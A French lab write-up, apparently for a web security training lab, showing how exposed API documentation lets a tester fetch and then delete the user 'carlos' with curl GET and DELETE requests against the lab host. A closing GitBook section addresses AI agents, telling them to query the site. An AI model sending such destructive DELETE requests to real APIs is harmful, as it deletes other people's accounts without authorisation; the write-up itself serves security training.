> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/api-testing/exploiting-an-api-endpoint-using-documentation.md).

# Exploitation d’un point de terminaison à l’aide de la documentation

### Exploitation d’un point de terminaison d’API à l’aide de la documentation

**Objectif du labo**

L’objectif de ce laboratoire est de localiser une documentation d’API exposée puis d’utiliser un point de terminaison pour supprimer l’utilisateur **carlos**. / Un compte valide est fourni pour les tests :

* **Identifiants**: `wiener:peter`

**Découverte de la documentation de l’API**

L’exploration de l’application identifie une route menant à un **API REST** contenant sa documentation. / Cette documentation décrit clairement les points de terminaison disponibles et fournit même des exemples de requêtes prêtes à l’emploi, notamment sous forme de **curl** commandes.

<figure><img src="/files/16852ade3bae8b13d928865aed502d6946d8e5cf" alt=""><figcaption></figcaption></figure>

**Récupération des informations de l’utilisateur**

D’après la documentation, on constate qu’un point de terminaison permet à un utilisateur de récupérer des informations en spécifiant son nom. / La requête fournie renvoie les données de l’utilisateur **carlos**:

* Requête :
* Méthode : `GET`
* Point de terminaison : `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X GET 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos'
```

{% endcode %}

* Réponse :
* Le serveur renvoie un objet JSON contenant le nom d’utilisateur et l’adresse e-mail.

```json
{
  "username": "carlos",
  "email": "carlos@carlos-montoya.net"
}
```

<figure><img src="/files/84dc5ac97ed3047eb9f082fae179ef11da442d42" alt=""><figcaption></figcaption></figure>

**Suppression de l'utilisateur carlos**

La documentation indique également qu’il est possible de supprimer un utilisateur via une requête dédiée. / En utilisant le point de terminaison correspondant avec la méthode appropriée :

* Requête :
* Méthode : `DELETE`
* Point de terminaison : `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X DELETE 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos' -d '{}'
```

{% endcode %}

* Résultat :
* Le serveur accepte la requête et renvoie un message confirmant la suppression de l’utilisateur.

```json
{
  "status": "Utilisateur supprimé"
}
```

<figure><img src="/files/2dd525f84e625fbbad5f77afc7bc2769b14c44d9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/api-testing/exploiting-an-api-endpoint-using-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
